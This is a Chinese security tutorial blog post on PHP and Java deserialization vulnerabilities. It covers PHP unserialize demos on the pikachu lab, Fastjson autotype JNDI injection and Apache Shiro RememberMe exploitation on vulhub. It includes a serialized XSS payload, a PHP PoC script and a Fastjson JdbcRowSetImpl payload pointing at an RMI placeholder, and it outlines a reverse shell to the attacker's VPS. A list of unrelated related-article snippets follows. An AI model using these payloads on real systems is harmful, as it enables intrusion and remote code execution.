2024HW --->反序列化漏洞!

对于反序列化,这个漏洞也是常用的,不过涉及到的方面非常非常广,比其他漏洞也难很多

于是本篇文章就分成PHP和JAVA的反序列化来讲讲

1.反序列化

想要理解反序列化,首先就要理解序列化

序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

对于反序列化之后的内容,一般有如下

2.PHP反序列化漏洞

对于PHP的序列化和反序列化,一般是涉及到两个函数

unserialize()   反序列化
serialize()    序列化
反序列化被利用一般有以下三个特点
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如filename

配合上以下的函数,就能达到RCE,任意文件删除,XSS...的效果

说了这么多,我们还是来举个栗子吧,先来看一段序列化的代码
<?phpclass SerializeTest
{public $var = "whoami";
}$obj = new SerializeTest();echo serialize($obj);

结果就是这样的

解释一下,这个过程,就是把SerializeTest这个对象里面的$var属性进行序列化  ,格式如下

O(Obejetc):13("类的长度"):"SerializeTest"(类名):1(序列化的属性个数):{s(序列化的是字符串类型):3(长度):"var"(属性名);s(类型):6(长度):"whoami"(内容)}

反序列化的过程如下

<?phpclass SerializeTest
{public $var = "whoami";
}$get=$_GET['test'];
$test=unserialize($get);
echo $test->var;?>

然后我们把刚才序列化之后的东西传进去

看到传入的东西被成功输出,而且是输出我们传入的东西

那么,如果我们输出一些别的东西捏!!!

O:13:"SerializeTest":1:{s:3:"var";s:29:"<script>alert("666")</script>";}

可以看见,如果过滤不严,被攻击者知道了类名,属性名,并且参数可控,而且有执行命令的操作,就会导致反序列化的漏洞!!!

那么就拿pikachu的靶场来练习一下

这没源代码我玩集贸啊?搞错了,上个源代码

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}

赶紧代码审计,可以发现它的类中用到一个$test的属性,并且通过了反序列化之后直接将test的内容输出,那就最简单的XSS攻击就好!!!

写个脚本

<?phpclass S
{public $test;function __construct(){$this->test='<script>alert("这就是反序列化")</script>';}
}$test =new S;
echo serialize($test);?>

然后就能看见

于是把poc粘贴到那个窗口就好,成功弹窗

3.JAVA反序列化漏洞

有了上面的php反序列化之后,我们就可以来看java的反序列化了

那么我们话不多说,直接上案例

1.Fastjson反序列化

对于这个fastjson,可以说是黑客和修复人员在斗智斗勇啊!!

哈哈哈哈哈

那么,我们就来讲一下它的原理

原理

正常序列化之后就是这样的格式

那么问题就来了,它属于哪一个类呢???为了解决这个问题

就引入了一个罪魁祸首!!!! Autotype!!!变成了这样!!!

那么问题就是这样的出现的

com.sun.rowset.JdbcRowSetImpl ,dataSourceName支持传入一个rmi的源,可以实现JNDI注
入攻击(这里是不是和log4j2的原理很像,虽然少了一步序列化)
所以它的poc就是这样了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}

八九不离十吧

  1. 构造恶意的poc,然后被反序列化,去访问我们VPS上的LDAP服务
  2. 然后再去访问我们的HTTP端口,下载恶意代码
  3. 最后执行这个恶意代码,并且反弹shell到我们的VPS

至此,就是Fastjson的原理了

2.Apache Shiro反序列化

Shiro反序列化可以说是蓝队或者红队面试的一个必问的问题!!!!

原理

那么Shiro在哪里产生了反序列化呢??? 就在RememerMe这里

很多shiro的登录界面都提供了记住我(RememberMe)这个功能,其中的内容直接放在了Cookie里面,包含了用户的一些信息。

可以看见,这个框架的特点就是有这个字段这里,就拿vulhub来讲一下这个

1.CVE-2010-3863

绕过目录,这个其实和反序列化没什么关系,只不过是我靶场开错了,于是顺便就讲一下这个

它这一关,就是直接在URL后面加上一个admin就可以绕过认证,直接登录

2.CVE-2016-4437

这个就是可以直接RCE了

直接用工具

不知道是不是插件出的问题,还是直接用工具去扫吧

弹个shell出来玩玩,一眼docker!!!

原理其实还就是因为,它的AES加密的时候,对应的密钥是直接写死在了代码里面,而且shiro又是一个开源的框架,所以就能被攻击者恶意利用!!

虽然现在的shiro不写密钥了,但是还是可以爆破!!! 原理???

其实原理就是你用正确密钥加密后的东西和错误的密钥加密的返回值是不同的

这也就解释了为什么工具能检测出是哪一个密钥的原因!!!!

顺便提一下,这些工具都不能用最新的版本,只能用jdk1.8

检测工具的话,还是很多,不过我喜欢用利群,嘻嘻嘻

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/302358.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模拟memcpy和memmove

memcpy是内存复制函数&#xff0c;原型如下 void *memmove(void *dest, const void *src, size_t count) 从src地址复制count个字节到dest 模拟实现 void *memcpy(void *dest, const void *src, size_t count) {if (dest NULL || src NULL)return NULL;void *ans dest;f…

操作系统知识

根据希赛相关视频课程汇总整理而成&#xff0c;个人笔记&#xff0c;仅供参考。 操作系统概述 *进程管理 进程&#xff1a;程序在一个数据集合上运行的过程&#xff0c;它是系统进行资源分配和调度的一个独立单位。由程序块、进程控制块&#xff08;PCB&#xff09;和数据块三…

【Unity灶台】食品加工系统模型搭建

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

第九届蓝桥杯大赛个人赛省赛(软件类)真题C 语言 A 组-航班时间

#include<iostream> using namespace std;int getTime(){int h1, h2, m1, m2, s1, s2, d 0;//d一定初始化为0&#xff0c;以正确处理不跨天的情况 scanf("%d:%d:%d %d:%d:%d (%d)", &h1, &m1, &s1, &h2, &m2, &s2, &d);return d …

贪心算法|135.分发糖果

力扣题目链接 class Solution { public:int candy(vector<int>& ratings) {vector<int> candyVec(ratings.size(), 1);// 从前向后for (int i 1; i < ratings.size(); i) {if (ratings[i] > ratings[i - 1]) candyVec[i] candyVec[i - 1] 1;}// 从后…

Redis中的复制功能(三)

复制 服务器运行ID 除了复制偏移量和复制积压缓冲区之外&#xff0c;实现部分重同步还需要用到服务器运行ID(run ID): 1.每隔Redis服务器&#xff0c;不论主服务器还是从服务&#xff0c;都会有自己的运行ID2.运行ID在服务器启动时自动生成&#xff0c;由40个随机的十六进制…

算法刷题Day28 | 93.复原IP地址、78.子集、90.子集II

目录 0 引言1 复原IP地址1.1 我的解题 2 子集2.1 我的解题 3 子集II3.1 我的解题 &#x1f64b;‍♂️ 作者&#xff1a;海码007&#x1f4dc; 专栏&#xff1a;算法专栏&#x1f4a5; 标题&#xff1a;算法刷题Day28 | 93.复原IP地址、78.子集、90.子集II❣️ 寄语&#xff1a…

SD-WAN为出海电商提供了什么支持

出海电商行业的持续发展与壮大&#xff0c;使得网络连接的稳定性和效率成为其成功的关键因素。SD-WAN&#xff08;软件定义广域网&#xff09;作为一种先进的网络解决方案&#xff0c;为出海电商提供了诸多优势和支持。 首先&#xff0c;SD-WAN通过智能路由技术&#xff0c;能够…

【MySQL学习】MySQL的慢查询日志和错误日志

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …

MySQL典型示例

目录 1.使用环境 2.设计表 3.创建表 4.准备数据 5.查询 1.使用环境 数据库&#xff1a;MySQL 8.0.30 客户端&#xff1a;Navicat 15.0.12 2.设计表 假设我们已经建好了一个名为test的数据库。我们添加如下几个表&#xff1a;教师、课程、学生、班级、成绩。实体联系图设…

Java Web这一路走来

大部分Java应用都是Web或网络应用&#xff0c;MVC框架在Java框架中有着举足轻重的地位&#xff0c;一开始的Web应用并不现在这样子的&#xff0c;一步一步走来&#xff0c;每一步都经历了无数的血和泪的教训&#xff0c;以史为镜可以知兴替。 1. 草莽时代 早期的Java服务端技…

uni-app调用苹果登录,并获取用户信息

效果 模块配置 dev中的配置 需要开启登录的权限&#xff0c;然后重新下载配置文件&#xff0c;发布打包基座&#xff0c;再运行程序 代码 <button click"appleLogin">苹果登录</button>function appleLogin() {uni.login({provider: apple,success: …

《Git版本控制管理》笔记

第三章 起步 git --version查看版本号git --help查看帮助文档裸双破折号分离参数 git diff -w master origin – tools/Makefile将当前目录或任何目录转化为Git版本库 git init 初始化之后项目目录中&#xff0c;有名为.git的文件git status 查看git状态git commit 提供日志消…

vue vue3 日期选择的组件,封装组件

一、背景 基于element日期选择组件&#xff0c;自行封装了一个组件。 以下是达到的效果&#xff1a; 1.选择年&#xff0c;日期选择组件默认填充是&#xff1a;当时的年&#xff1b; 2.选择月&#xff0c;日期选择组件默认填充的是&#xff1a;当时的年月&#xff1b; 3.选择日…

微信小程序使用iconfont

进入iconfont&#xff0c;添加至项目 进入项目&#xff0c;点击生成代码&#xff0c;或更新代码 点击打开样式 复制内容到小程序的style文件夹下 最后引入到app.wxss

Redis-底层数据结构

Redis-底层数据结构 redisObject对象机制对象共享引用计数以及对象的消毁 动态字符串SDS链表链表的优缺点: 压缩链表ziplist的缺点 字典-Dictrehash渐进式rehash 整数集-intSet内存分布图整数集合的升级 跳表 - ZSkipList快表-quicklistlistpack redisObject对象机制 typedef s…

6端口百兆以太网交换机控制芯片//P 2 P RTL8306MB

JL5106-N064C是一款6端口快速以太网交换机控制器&#xff0c;将内存&#xff0c;6个mac和5个物理层收发器集成到单个芯片中&#xff0c;用于10Base-T和100Base-TX操作。 JL5106-N064C支持双MII/RMII接口&#xff0c;用于外部设备连接第6MAC、第5 MAC和第5 PHY。外部设备可以是路…

Pulsar服务端处理消费者请求以及源码解析

文章目录 引言正文处理消费请求回调处理总结 引言 处理读写是Pulsar服务端最基本也是最重要的逻辑&#xff0c;今天就重点看看服务端是如何处理的读请求也就是消费者请求 正文 Pulsar服务端处理消费者请求的流程大致如下图所示 消费者通过TCP向服务端发起消息拉取请求Brok…

idea开发 java web 高校学籍管理系统bootstrap框架web结构java编程计算机网页

一、源码特点 java 高校学籍管理系统是一套完善的完整信息系统&#xff0c;结合java web开发和bootstrap UI框架完成本系统 &#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。 前段主要技术 css jq…

使用git 和 github协作开发

文章目录 github浏览器汉化插件github新建仓库git安装以及ssh配置团队创建及基本命令的使用创建团队基本命令 分支管理快速切换远程仓库地址 如何使用git && github进行协作开发&#xff0c;包括git常见基础命令 github浏览器汉化插件 在刚开始使用github的时候&#…